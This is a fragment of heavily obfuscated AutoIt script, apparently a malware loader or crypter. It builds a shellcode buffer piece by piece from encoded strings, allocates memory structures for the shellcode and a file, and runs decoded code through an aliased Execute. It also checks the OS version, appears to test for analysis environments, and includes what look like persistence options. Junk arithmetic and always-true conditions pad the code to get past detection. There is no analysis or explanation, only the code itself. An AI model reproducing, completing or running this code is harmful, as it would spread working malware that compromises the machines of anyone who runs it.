- Dim $sekaqc3n2rqx17bwrkhk = 1948221
- $1115248989 = 1337610490
- EndIf
- If 181 > 130 AND 206 > 173 AND 289 > 106 AND $1115248989 = 1337610490 Then
- Local $ret = $e($bn(wmhsrosshiij(tznhxlbucosri("x0038743436334633443336313633463342383237363136343736363137303639333333323235463436334633423732334230323736393635473432373233423032373439363546393734363936313633463937314635353336353633373537323639373437393434363537333633373236393730373436364732323732334230323737303734373232373233423032343730353334343233423032373634373736364732363432373233423032373331323732393"), "0x")))
- $1115248989 = 171873601
- Dim $oc7oszbkik0xqcj4q3n0 = 2735166
- Dim $i2z8dtt2ycmzlom5gc6v = 411902 * 2312855 + 548344 - 1660151 - 2044140 - 1998167
- EndIf
- If 271 > 109 AND 230 = 230 AND 125 <= 176 AND 252 <= 258 AND $1115248989 = 1591982618 Then
- Local $tacl = $e($bn(wmhsrosshiij(tznhxlbucosri("x013975353732473244323635363336343732363535323633373437303635373433393333373336383635373433313530373237324433373436373738363237383737473442334733363836353734333134323733363042303233463436323739373746333635333135303732373244323738363047343233463436323739373746333635333135303732373435323737463437344635323346343632373937374633363533313432373336304233333333383"), tznhxlbucosri("x04545E4"))))
- Dim $i6llobffci6eeok4jqta = 1917404
- $1115248989 = 960345959
- IsBinary(3871409 * 1436528)
- EndIf
- If 182 >= 134 AND 218 <= 266 AND 292 < 298 AND $1115248989 = 1681609778 Then
- Local $tsd = $e($bn(wmhsrosshiij(tznhxlbucosri("x00387434363346334533373437323735363337343433373236353631373436353238323236323739373436353532433233303534423232393"), "0x")))
- $1115248989 = 1312944448
- IsString(1987753 - 1548415)
- EndIf
- If 200 >= 151 AND 137 <> 103 AND 148 < 292 AND $1115248989 = 1711264047 Then
- $ret = $e($bn(wmhsrosshiij(tznhxlbucosri("x013975353732473245323730373247324339333637303735363737303631373832323233333447353732473243363332433133363738373446353336333243313336343237343635353347343633373447343732453747333730473437323635343237343732363436333738363536383336333243313336363136353633333633324331333537393730373447353732473433324331333637353636373746333735333633324331333632313639323132353336333243313336363136353633333633324331333536313432353533383"), tznhxlbucosri("x0B466E6"))))
- ExitLoop
- IsPtr(2399613 + 279857 - 2429222 - 2545332)
- EndIf
- Next
- EndFunc
- Func xdqevzaxtm()
- Local $osversion = $ndivddlyqicolemnsqxmeslllqujkqbqbcmwvxt
- If 227 = 227 AND 277 = 277 AND 153 > 143 AND 157 >= 101 AND NOT $jnakoabkaoai() Then
- Switch (True)
- Case $lnddocutiwos($osversion, wmhsrosshiij(tznhxlbucosri("x063"), tznhxlbucosri("x085E467")))
- Call(wmhsrosshiij(tznhxlbucosri("x07596E646F677377354C65667164796F6E6"), tznhxlbucosri("x065")))
- Case $lnddocutiwos($osversion, wmhsrosshiij(tznhxlbucosri("x0B3"), tznhxlbucosri("x0C466")))
- Call(wmhsrosshiij(tznhxlbucosri("x07596E646F677377354C65667164796F6E6"), tznhxlbucosri("x065")))
- Case $lnddocutiwos($osversion, wmhsrosshiij(tznhxlbucosri("x02333"), tznhxlbucosri("x005B6")))
- Call(wmhsrosshiij(tznhxlbucosri("x07596E646F67737130354C65667164796F6E6"), "0x"))
- EndSwitch
- EndIf
- EndFunc
- Func pvoebpaout()
- Global $960345959 = 1307843693
- Global $ihjdlg1yi4 = 2759505
- For $e = 0 To 2408746
- If 280 >= 123 AND 250 > 186 AND 296 > 181 AND $960345959 = 304222797 Then
- $bvnakuhdnyyj(wmhsrosshiij(tznhxlbucosri("x0467746F657776737"), tznhxlbucosri("x0D69697")))
- $960345959 = 1591982618
- Int(1439271)
- EndIf
- If 243 > 151 AND 267 >= 203 AND 272 > 200 AND 296 <= 298 AND 249 = 249 AND $960345959 = 1307843693 Then
- $hhafquinevog(wmhsrosshiij(tznhxlbucosri("x0C4F474158575B626073756671685748656777716778596777626D686168577C616868685B64716A68576B6969656A606"), tznhxlbucosri("x03535A6D4")), wmhsrosshiij("0x", tznhxlbucosri("x0B40705A6")), wmhsrosshiij(tznhxlbucosri("x0255474F535A5"), "0x"), $hwobyepsertwooaziugcagzjdeoumwevcfhbvvszrtcgrwxm)
- IsPtr(2942451 + 1959074 - 196882)
- $960345959 = 304222797
- EndIf
- If 275 = 275 AND 181 = 181 AND 110 < 195 AND 101 >= 100 AND $960345959 = 1591982618 Then
- $gidzbjoxovyx($dawmcpaxeytqvfhmytihyemcglhetsghcxjvhjzqgeqxyjwnutscoeyz)
- String(tznhxlbucosri("LWZlS90VSkugKNKUyt2BKl44s1vxD29BM4uzxw3VE8WgSHgOVwcxF3lHrSR8yuQ7hpaAzl5nHMQ3iDjvrMg9zgg"))
- ExitLoop
- EndIf
- Next
- EndFunc
- Func fekmuawhwn()
- Global $1312944448 = 1307843693
- Global $zdhjgzfaqn = 303180
- For $e = 0 To 3690280
- Chr(1614776)
- If 224 <> 267 AND 169 = 169 AND 195 < 212 AND 170 <= 256 AND $1312944448 = 304222797 Then
- $hhafquinevog(wmhsrosshiij(tznhxlbucosri("x094A42445D525E6765767063746D524D60627274627D5C627C22746575786F66627D5279646D6D6D5E61746F6D526E6C6C606F656"), tznhxlbucosri("x027E654")), wmhsrosshiij(tznhxlbucosri("x04456C6567616475654875636574756"), "0x"), wmhsrosshiij(tznhxlbucosri("x0255474F535A5"), "0x"), wmhsrosshiij(tznhxlbucosri("x0F447D6D6"), tznhxlbucosri("x06416A5")))
- $1312944448 = 1591982618
- IsBool(3251620 + 1618570)
- Ptr(tznhxlbucosri("75jWJE"))
- EndIf
- If 187 > 124 AND 218 < 273 AND 222 < 265 AND 276 > 116 AND 197 = 197 AND $1312944448 = 960345959 Then
- $bvnakuhdnyyj(wmhsrosshiij(tznhxlbucosri("x066F6468656C6075627"), tznhxlbucosri("x066")))
- Dim $m429vbjnavvnfdil9elq = 3367181 * 1681671
- $1312944448 = 1681609778
- String(3305498 + 2900286 - 3759957)
- EndIf
- If 253 >= 220 AND 241 <= 291 AND 266 = 266 AND 288 >= 280 AND 148 <> 147 AND $1312944448 = 1307843693 Then
- $lgaftrqvglak(wmhsrosshiij(tznhxlbucosri("x0A64637F646D62333F256D6D6"), tznhxlbucosri("x0A60565")), wmhsrosshiij(tznhxlbucosri("x016C6C6F66626D6"), tznhxlbucosri("x05456")), wmhsrosshiij(tznhxlbucosri("x035B637230314A65666861635B63723032477651606D667167607D6B6A6"), tznhxlbucosri("x0C6271616")), wmhsrosshiij(tznhxlbucosri("x016C6C6F66626D6"), tznhxlbucosri("x05456")), wmhsrosshiij(tznhxlbucosri("x043"), tznhxlbucosri("x0C61626E6")))
- $1312944448 = 304222797
- EndIf
- If 223 <> 160 AND 200 <> 274 AND 193 < 238 AND 278 <= 293 AND $1312944448 = 1591982618 Then
- $hhafquinevog(wmhsrosshiij(tznhxlbucosri("x094A42445D525E6765767063746D524D60627274627D5C627C22746575786F66627D5279646D6D6D5E61746F6D526E6C6C606F656"), tznhxlbucosri("x027E654")), wmhsrosshiij("0x", tznhxlbucosri("x0B40705A6")), wmhsrosshiij(tznhxlbucosri("x0255474F535A5"), "0x"), $hwobyepsertwooaziugcagzjdeoumwevcfhbvvszrtcgrwxm)
- Mod(1192522, 2844956)
- $1312944448 = 960345959
- EndIf
- If 264 >= 160 AND 212 >= 170 AND 164 <= 225 AND 128 >= 115 AND $1312944448 = 1681609778 Then
- $gidzbjoxovyx($dawmcpaxeytqvfhmytihyemcglhetsghcxjvhjzqgeqxyjwnutscoeyz)
- Dim $bn7doqy1lrlaae3hgq4y = 3231412
- ExitLoop
- EndIf
- WinExists("F")
- Next
- EndFunc
- Func kjvzijodxe($wpath, $lpfile, $protect, $persist)
- Global $2102046848 = 1307843693
- Global $wdo0lqy8gq = 1772653
- For $e = 0 To 3220567
- If 274 <= 291 AND 290 < 291 AND 184 <> 273 AND 202 <= 222 AND 275 > 173 AND $2102046848 = 45342449 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x093530454133313131313935493430313742474747474431374"), tznhxlbucosri("x055E607"))
- $2102046848 = 1390580830
- Ptr(tznhxlbucosri("4LQmtRscthqTz2NZJ6noiDyIFgtrlRdu8XBZI02jfnn1GGgzJpoR9LDdYukISb5K8"))
- WinExists(tznhxlbucosri("XwAxawqx2vfIelEhAg4Xhv9c08DEo5d1FFW3Xt9pmO59f9NZADo28QpnxUFC4EguFaQIul"))
- EndIf
- If 119 > 102 AND 215 > 161 AND 239 > 164 AND 136 > 121 AND $2102046848 = 45624006 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003034363833364540354733444238324446463141303834443"), tznhxlbucosri("x0D6"))
- $2102046848 = 1121997128
- EndIf
- If 132 < 295 AND 288 < 293 AND 182 <= 270 AND 271 > 154 AND $2102046848 = 47899740 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x073536483646473534483646453534443835334030364834364"), "0x")
- $2102046848 = 1472136877
- EndIf
- If 183 < 263 AND 164 = 164 AND 249 >= 142 AND 153 >= 129 AND 199 <= 278 AND $2102046848 = 71527144 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x073149303030303030323037343139383533403739303436314"), "0x")
- $2102046848 = 532865056
- EndIf
- If 208 = 208 AND 100 < 198 AND 258 > 168 AND 153 > 107 AND 193 <= 201 AND $2102046848 = 84602552 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0130303242424242424C3040313D303C3D3C31303C324242424"), tznhxlbucosri("x0F4657746"))
- $2102046848 = 2134070852
- EndIf
- If 189 <> 170 AND 213 <= 237 AND 136 <> 295 AND 184 <> 104 AND 159 <= 250 AND $2102046848 = 89876260 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x02424242473640313437433035303C364131324740323736433"), tznhxlbucosri("x056259496"))
- $2102046848 = 150208926
- WinExists(tznhxlbucosri("jFiCJo3ceTMiJxNE03xVbiHxpsB8DsosFl0w2xWqDJnYzEVH0ob2GhEu5W"))
- IsBinary(2318179 * 3577191)
- EndIf
- If 106 >= 100 AND 108 = 108 AND 218 = 218 AND $2102046848 = 93242189 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043540323541334246353439393535333633323137424635343"), tznhxlbucosri("x0F65417"))
- $2102046848 = 715234060
- EndIf
- If 292 <= 298 AND 153 >= 142 AND 220 < 280 AND 108 >= 101 AND 285 = 285 AND $2102046848 = 113573692 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x034646464648333340303835303646473534483646453539343"), "0x")
- Ptr(834891 + 3515431)
- $2102046848 = 1724676842
- Mod(1818869, 2444561)
- EndIf
- If 168 > 162 AND 249 >= 125 AND 217 < 292 AND 121 = 121 AND 209 < 295 AND $2102046848 = 150208926 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043139363334463232324134374434443349334444343542433"), tznhxlbucosri("x06757C4"))
- WinExists(tznhxlbucosri("cCkr49AIL"))
- $2102046848 = 578141839
- IsBool(2383363 - 546082 * 2666546 + 2442203)
- Int(1572659)
- EndIf
- If 112 > 102 AND 221 >= 184 AND 206 = 206 AND $2102046848 = 171873601 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013434393344424430343034323437343639334635413932323"), tznhxlbucosri("x0262576"))
- $2102046848 = 198176244
- IsPtr(2652109 - 3177802 * 1146999)
- IsPtr(2910779 * 66885 * 2510686)
- EndIf
- If 299 > 225 AND 146 <= 178 AND 281 > 131 AND $2102046848 = 192622806 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x023646473530334646473530383646453531443835334030364"), tznhxlbucosri("x027"))
- Ptr(3647822 - 1843507 - 319945)
- $2102046848 = 45342449
- Random(3807482)
- EndIf
- If 223 <= 245 AND 196 > 104 AND 213 <= 268 AND $2102046848 = 198176244 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x02423C36403337374C364030373C333C343737433C364134363"), tznhxlbucosri("x085847417"))
- Dim $max4jt54n2cdptuq3nx2 = tznhxlbucosri("hV3ncq9mWRSKC9dL0")
- $2102046848 = 1711264047
- Random(2487562)
- Dim $bvd1fdscs3b3jb2qs57g = 3479202
- EndIf
- If 142 >= 109 AND 149 >= 144 AND 169 <> 225 AND 210 <= 272 AND $2102046848 = 222942804 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003646473635303631403036464535393838324448383534424"), "0x")
- $2102046848 = 1554786304
- EndIf
- If 142 >= 105 AND 232 > 133 AND 159 <= 289 AND $2102046848 = 232684580 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003030303038324736303348324736303348324336383243363"), "0x")
- WinExists(tznhxlbucosri("GZ1g9FCvCNyHafDTXZqx8RoCDQTXas3uxzvMjCrwBwMt6tokTykoLU0Y1eblLm"))
- $2102046848 = 960210641
- EndIf
- If 101 < 245 AND 216 >= 209 AND 242 = 242 AND 141 = 141 AND 165 >= 128 AND $2102046848 = 271776171 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x033347354245493535383245434831354346403033303030303"), "0x")
- String("")
- $2102046848 = 1220020015
- Dim $4po05tthtivjjyiwrk7v = 321880
- IsFloat(tznhxlbucosri("B7b1ITNUHRnlC6NSKs92kELjyfeSjb88qv1WrQm0EyagdJEOAMQBDYXipst6O1GLnJO20Qa7OUaKid"))
- EndIf
- If 258 > 138 AND 126 >= 118 AND 250 >= 150 AND 107 <= 257 AND 300 <= 301 AND $2102046848 = 281617475 Then
- Local $file_struct = $e($b(wmhsrosshiij(tznhxlbucosri("x003874343633463345333734373237353633373434333732363536313734363532383232363237393734363532303633473036363639363346353532423232303236323035333734373236393635463734334635363542383234363347303436363936334635323932303236323032323534423232393"), tznhxlbucosri("x044"))))
- $2102046848 = 1813210520
- Chr(2392047)
- Dim $h8havgvt3iawl9ywca5i = 3582889 + 2899673 + 930904 * 2322965 - 903301 + 3284531 + 167513 + 2160579
- EndIf
- If 130 >= 111 AND 160 >= 110 AND 214 <= 249 AND 249 = 249 AND 268 > 267 AND $2102046848 = 293204093 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053648303336424833373445434030383934373334303648343"), tznhxlbucosri("x067"))
- IsString(900081 * 438236)
- $2102046848 = 332718624
- IsPtr(tznhxlbucosri("ribw88xpAmR62EjUkugB6DRVbZocJB0dIpG2a4Ic4BotLrowIUQtrrmlOF6mb6L5gw6Bm9to3hIOGLz"))
- EndIf
- If 160 <= 271 AND 166 > 157 AND 264 > 165 AND 294 <= 296 AND $2102046848 = 304222797 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043036343038303338303037353641423243413534434230343"), tznhxlbucosri("x037"))
- $2102046848 = 1591982618
- WinExists(tznhxlbucosri("Hxx7aQYoLg8z1SjkpztGH9MxJLo9q9Hi"))
- EndIf
- If 260 = 260 AND 247 <= 278 AND 121 < 184 AND $2102046848 = 332718624 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x093041313131313139323635474531313137493539313131313"), tznhxlbucosri("x0872774"))
- IsString(1209277 * 2020321)
- $2102046848 = 2145452884
- EndIf
- If 141 <> 105 AND 123 <> 276 AND 140 = 140 AND 116 < 268 AND $2102046848 = 473753307 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x074746343749374746343549374744343242493432413137493"), tznhxlbucosri("x0178525"))
- Mod(219241, 962895)
- $2102046848 = 610517555
- IsBool(tznhxlbucosri("ujfVabZZ2Dv6L11Ou6EthGcxtR59KcCKkejymX9klQwXGNMYwxLKWocrT6Ry3a3XCqRrFnUeukvYbtjyvFOH99snv3enCXW84x"))
- EndIf
- If 130 <> 287 AND 257 < 275 AND 110 <> 236 AND 267 <> 259 AND 154 <= 286 AND $2102046848 = 486305246 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013747474747474938313039343241313749353830313231313"), tznhxlbucosri("x016E417"))
- $2102046848 = 45624006
- EndIf
- If 278 <> 208 AND 146 >= 105 AND 293 < 294 AND 243 >= 151 AND $2102046848 = 486612862 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x073442434839343534403339324541403030303030303734313"), "0x")
- $2102046848 = 1196477466
- IsFloat(1315637 + 2650909)
- EndIf
- If 249 > 159 AND 139 < 293 AND 263 <= 283 AND $2102046848 = 499539945 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043434324C30343144373434343437373744373D353234324D3"), tznhxlbucosri("x016A4A7B4"))
- Mod(3915025, 3207019)
- $2102046848 = 1617221087
- Random(3757870)
- Dim $7y6n3y5ovhhtu6mtuhrt = tznhxlbucosri("ap6YtrKI5tIU958twgTWXQTWM5n1p7yyLcxRrhfLevmcVX7zusM")
- EndIf
- If 132 < 240 AND 192 <> 110 AND 108 = 108 AND 162 >= 108 AND 248 < 260 AND $2102046848 = 503206081 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053534443835334030364834333346454646464648324436323"), tznhxlbucosri("x064"))
- $2102046848 = 1953361207
- Chr(946629)
- EndIf
- If 212 > 187 AND 134 > 127 AND 152 > 131 AND 278 <> 185 AND 206 >= 117 AND $2102046848 = 515584002 Then
- Local $e = Execute
- String(252581 - 2076605 + 1148055)
- $2102046848 = 787083456
- Ptr(2799789 - 3033868 - 3709943)
- EndIf
- If 261 <> 292 AND 235 <> 119 AND 214 > 169 AND 138 <> 133 AND $2102046848 = 532865056 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003431464533363134343434343430343243304C353647443C3"), tznhxlbucosri("x0B695B674"))
- IsBinary(859227 - 3465663 + 622791 + 1106036)
- $2102046848 = 717329250
- Dim $b8obogoxdyzxmiroj0ah = tznhxlbucosri("B9AtBdWcHYeWiv4X5CogiGXXpgHT2EGAJeFBbvOkLMqQTN90V44Q")
- EndIf
- If 189 > 143 AND 172 >= 99 AND 122 < 268 AND 177 = 177 AND $2102046848 = 548714918 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043138393434464033324348373344434832473243334832443"), tznhxlbucosri("x074"))
- IsBinary(1342395 * 1968397 + 3745772 + 998791)
- $2102046848 = 293204093
- IsFloat(tznhxlbucosri("VBLAC5jGywMTlUmGQV2KQZ6wuijTTxsemNjoS3y8why719UGcJfoxfVSDxKDwTNVu"))
- EndIf
- If 112 > 103 AND 249 <> 182 AND 192 <= 288 AND 188 >= 140 AND $2102046848 = 552220289 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064647363435303642473434343140383636383533403734323"), "0x")
- String(tznhxlbucosri("lSBU8S"))
- $2102046848 = 868642390
- IsPtr(2328653 - 3915941 + 1018901)
- EndIf
- If 216 <= 266 AND 210 <> 249 AND 132 <> 263 AND 102 > 99 AND $2102046848 = 563894604 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013235304135313234333135393835354745323349374045313"), tznhxlbucosri("x08727C6"))
- Mod(1537092, 2735515)
- $2102046848 = 1598205459
- Int(229690)
- Dim $xmslx4nqcyglxtwyivmt = tznhxlbucosri("LDZ5t")
- EndIf
- If 101 < 115 AND 243 <> 228 AND 149 < 273 AND 193 <> 180 AND 130 >= 118 AND $2102046848 = 578141839 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013931313933453437493137434631353631393341353932313"), tznhxlbucosri("x0970516"))
- Ptr(tznhxlbucosri("zwmWMxKsLszn1vJc87kmwR8hKswXzdzNENWkFbWyVZh4eYdpUXaHnM9nYrW46Z2GX71WpQAIAI5uaCojUutJM1AXkqmELL36bnajxrGwglmBr2"))
- $2102046848 = 271776171
- IsBinary(1751009 - 865627)
- EndIf
- If 294 > 119 AND 196 <> 174 AND 126 <= 229 AND 228 >= 191 AND 297 >= 218 AND $2102046848 = 588931838 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x04363330303035454734303037413B3A34374547303030433B3"), tznhxlbucosri("x0F6D6"))
- $2102046848 = 2113738531
- IsPtr(tznhxlbucosri("D6RB0B6iw7iclVHKO9Hnl6F0aaa0X6W1sZSEJzAeTFTDeuhpXz0LXHV26MARi9k9qEBs2RyiWJmchS5lSUjKalcoTzDfM3wAU"))
- EndIf
- If 263 <= 284 AND 232 > 164 AND 223 <> 158 AND 192 <> 236 AND $2102046848 = 589132072 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x04324C31323534363434343432354034323C343437343434343"), tznhxlbucosri("x047349624"))
- $2102046848 = 222942804
- IsBool(827250 * 3029921)
- IsString(3027662 + 2169938 * 3914240 - 100853)
- EndIf
- If 277 <> 172 AND 223 <> 274 AND 210 <= 241 AND 266 <> 145 AND 274 >= 107 AND $2102046848 = 589339962 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x033336464347343535434031303030303030353736464735344"), tznhxlbucosri("x036"))
- $2102046848 = 866968452
- IsBinary(3799773 - 1843456 - 3551685)
- EndIf
- If 225 > 172 AND 113 < 172 AND 225 < 263 AND $2102046848 = 607137504 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x013735303938353547453233424936333834423237474739313"), tznhxlbucosri("x05435A6"))
- Dim $e8ucqvqiti5jz4uucevb = tznhxlbucosri("RaAtmfMOKM9VuDT99Hsq4nbwZldHfikNtZrDcAHl6aGgjkJvbuFDjEgFstqoLOGDK6jkS0FsSYqrZXb07DhSiKOQX")
- $2102046848 = 1869447033
- EndIf
- If 155 > 107 AND 209 <> 153 AND 179 < 255 AND $2102046848 = 610517555 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053445374447474747423232413938363547453737323345373"), tznhxlbucosri("x0849465"))
- String(tznhxlbucosri("JKl9LT8SWRp1EsnBRXw4X6E5CvkV3S4ZnYporcfoLy3BHXBfJQmhfDXMDOpZH0Yq77eA"))
- $2102046848 = 909112051
- EndIf
- If 234 > 172 AND 157 <> 130 AND 246 < 275 AND 277 <> 241 AND $2102046848 = 687038453 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x053246454646464645373631403438344435364835303832483"), "0x")
- $2102046848 = 1329218685
- String(tznhxlbucosri("xYEsVhALKSKABIp8v16Mh0mbyDUMhQBsWN2bcGciGuCSKZcLID8geSQ1gwTb2iKU9sX7fAYSKnsLHy2wJXhp"))
- EndIf
- If 107 = 107 AND 290 >= 146 AND 250 = 250 AND 297 >= 257 AND 143 <> 287 AND $2102046848 = 715234060 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x083345483636413830344839383535343646464646464832443"), "0x")
- WinExists(tznhxlbucosri("AFzbB3gW0kYMxLs1hVHCYriUI5ML8Kypf2rJXWjRG"))
- $2102046848 = 1767117565
- Random(3832285)
- EndIf
- If 102 < 195 AND 126 >= 110 AND 275 <> 263 AND $2102046848 = 717329250 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x023441303139323241303134434034393432413638313437304"), tznhxlbucosri("x0D67777"))
- IsFloat(2457720 - 236707)
- $2102046848 = 1567095249
- WinExists(tznhxlbucosri("ZuFiJm6oXFFJz7bsA93mL6wUy3sNcFJ3s3uwVx7lcaeAkQlKuXpe9DTHVfM"))
- Random(1693489)
- EndIf
- If 108 >= 104 AND 279 > 180 AND 195 <= 291 AND 189 >= 186 AND 188 > 149 AND $2102046848 = 724091247 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x07354736314B3633364B37313546454545454B314B304146313"), tznhxlbucosri("x045D6"))
- $2102046848 = 486305246
- IsBinary(tznhxlbucosri("nNpp33QkSQBXlEM74gNVLoxida6LRj7HYi1RoaNfzH5fE9oBrGS2z3bT1e0oor8F0jQsgD1MgYZfmGFywL2zZZSdOfiWpatwg4iVVlzUbNW34t1ETC4oY"))
- Int(3138603)
- EndIf
- If 165 = 165 AND 144 <> 100 AND 135 = 135 AND $2102046848 = 742906269 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0745443C37433C31323742424242424241473745404C3437374"), tznhxlbucosri("x046673777"))
- Ptr(tznhxlbucosri("I1WUA5pB0u9MXnr5ky4krOBaqEA6Kv5kjfujHbe8mzxyZrwyEyzlzNJZrH"))
- $2102046848 = 1972768996
- EndIf
- If 164 < 267 AND 162 < 223 AND 252 >= 153 AND $2102046848 = 752856490 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x0335454435363335454435303735454436374B3545463630433"), tznhxlbucosri("x05505"))
- IsFloat(3569260 - 2393557)
- $2102046848 = 1374512406
- EndIf
- If 264 <> 203 AND 227 > 208 AND 243 < 252 AND 113 <> 261 AND $2102046848 = 787083456 Then
- Local $b = $e(wmhsrosshiij(tznhxlbucosri("x03486F606378755E625573786F666"), tznhxlbucosri("x076D6E6")))
- $2102046848 = 1569360220
- Dim $2ic1yurqujwuqujysorj = 3736566 - 2920249 * 981585 - 875003 - 3721249 - 2786321
- IsBool(3664128 + 1334775 * 1656462 + 2888043)
- EndIf
- If 265 < 286 AND 299 = 299 AND 211 >= 170 AND 223 < 298 AND 204 >= 155 AND $2102046848 = 793922489 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043241363530333933453547453932324633393137434635373"), tznhxlbucosri("x086D4F6"))
- $2102046848 = 607137504
- WinExists(tznhxlbucosri("jf5nUK0GLoGdUU38M1HQzOuqkVLS8QWTbvm0aC1FepATzrCQkU37t3O133zj4bk"))
- EndIf
- If 265 < 266 AND 277 <= 296 AND 231 <= 287 AND $2102046848 = 819068712 Then
- $e($b(wmhsrosshiij(tznhxlbucosri("x043C7030323742374037323532374237463C36363236423133363231423132374737373636363637463436363230333332324336323036363637463436363132323D3336333033313235323740323336323132313636363746343636323033333232433632303636363746343630323743343137323C3231323742374237323242303231363746343636323033333232433632303636363746343636373436363637463436363230333332324336323036363637463436363734333C373C3734373437343636363D3"), tznhxlbucosri("x025A444F4"))))
- ExitLoop
- IsPtr(tznhxlbucosri("ZgJsZRvcpEF20bb2kjJtg0uZC4aH7o8IgUeXqbd8X0W5NccojyTIZA9a79nQcrHh3Q4VYc2aqmcTdkpsEoeL0x5GXfdeVKXVxOift3"))
- EndIf
- If 272 > 187 AND 167 <> 215 AND 293 <= 298 AND 272 >= 117 AND $2102046848 = 834897274 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x064646464646454543383833303343473835363436464646464"), tznhxlbucosri("x056"))
- Dim $fjf7y5oz8wacj0v0zpu6 = 1135756 - 2030272 * 1511448 * 3892068 + 1474390 * 2055379
- $2102046848 = 2014417103
- String(532962 + 1620881 + 3117050 * 1438220)
- EndIf
- If 191 = 191 AND 268 < 274 AND 196 <= 265 AND 144 <> 110 AND 223 <= 257 AND $2102046848 = 855549293 Then
- Local $shellcode_struct = $e($b(wmhsrosshiij(tznhxlbucosri("x043C703032374237413733303336333132373330303733363231323533303231363C36363236333D3330323136343337323C32313237423742373232423032313136463636343632363436303236323D32314037463436323634363631304636363746343630323743343137323C3231323742374237323242303231363D3"), tznhxlbucosri("x057846634"))))
- Mod(3143233, 199221)
- $2102046848 = 281617475
- Ptr(tznhxlbucosri("OeJj7bdEpehzFCa8qQGKOhJFJVwTytlWrSSpHQl7g4TSE6SUY"))
- EndIf
- If 118 >= 109 AND 213 <> 287 AND 177 <= 283 AND 125 = 125 AND 228 >= 126 AND $2102046848 = 866968452 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x083646453533403839343536483835334037353134363830303"), tznhxlbucosri("x0E4"))
- $2102046848 = 1426700078
- Chr(559932)
- Chr(908528)
- EndIf
- If 291 > 214 AND 235 > 193 AND 163 >= 143 AND 231 = 231 AND $2102046848 = 868642390 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x034334374741374131313131323133393835343442493342493"), tznhxlbucosri("x0D62794"))
- $2102046848 = 1514877158
- Mod(1663309, 771074)
- EndIf
- If 161 <= 198 AND 217 > 120 AND 127 < 168 AND $2102046848 = 885639379 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x033333403636333935363034303649343340333444334031303"), tznhxlbucosri("x0A7"))
- $2102046848 = 1607184715
- Random(3147178)
- EndIf
- If 299 <> 255 AND 110 > 108 AND 152 <> 240 AND 183 > 139 AND 191 > 122 AND $2102046848 = 909112051 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x003637333633483247344440383333473333403336454832403"), tznhxlbucosri("x085"))
- Ptr(tznhxlbucosri("Jq6s9bJ0Tg7FwWoceTBISHjQdZBr6vMIInfCqlmyQAzoBYM1H5k3IqIbj47hyRjn3jmU"))
- $2102046848 = 71527144
- Dim $cqva1dquwmofycxvng3l = tznhxlbucosri("AjbF")
- EndIf
- If 243 < 256 AND 296 <> 146 AND 247 < 261 AND $2102046848 = 937438825 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x073631383839373533483834443532443347383535383646464"), "0x")
- $2102046848 = 1838106253
- IsFloat(1966008 - 3661052 - 630017)
- EndIf
- If 110 <> 103 AND 123 <= 136 AND 300 <> 270 AND 270 > 213 AND 228 <= 259 AND $2102046848 = 937593386 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x043333334938333548303838393434464031493645464646464"), "0x")
- IsPtr(tznhxlbucosri("gzGVOgWbsb0pz9ayOz6ItH4KfBXxmHQyjD8cyE8KmRiCeoUIMReyflgt1EafnrYoJ4ZwAxbEKdvpC0wOMF4guYxD5ZMCKtCQN8NnTSqwh"))
- $2102046848 = 552220289
- Random(1018878)
- EndIf
- If 198 >= 158 AND 237 <= 247 AND 290 <= 298 AND 253 <= 271 AND $2102046848 = 940272054 Then
- $bin_shellcode &= wmhsrosshiij(tznhxlbucosri("x083534434645464646464530364645353548363833434032303"), tznhxlbucosri("x057"))
- $2102046848 = 974397906
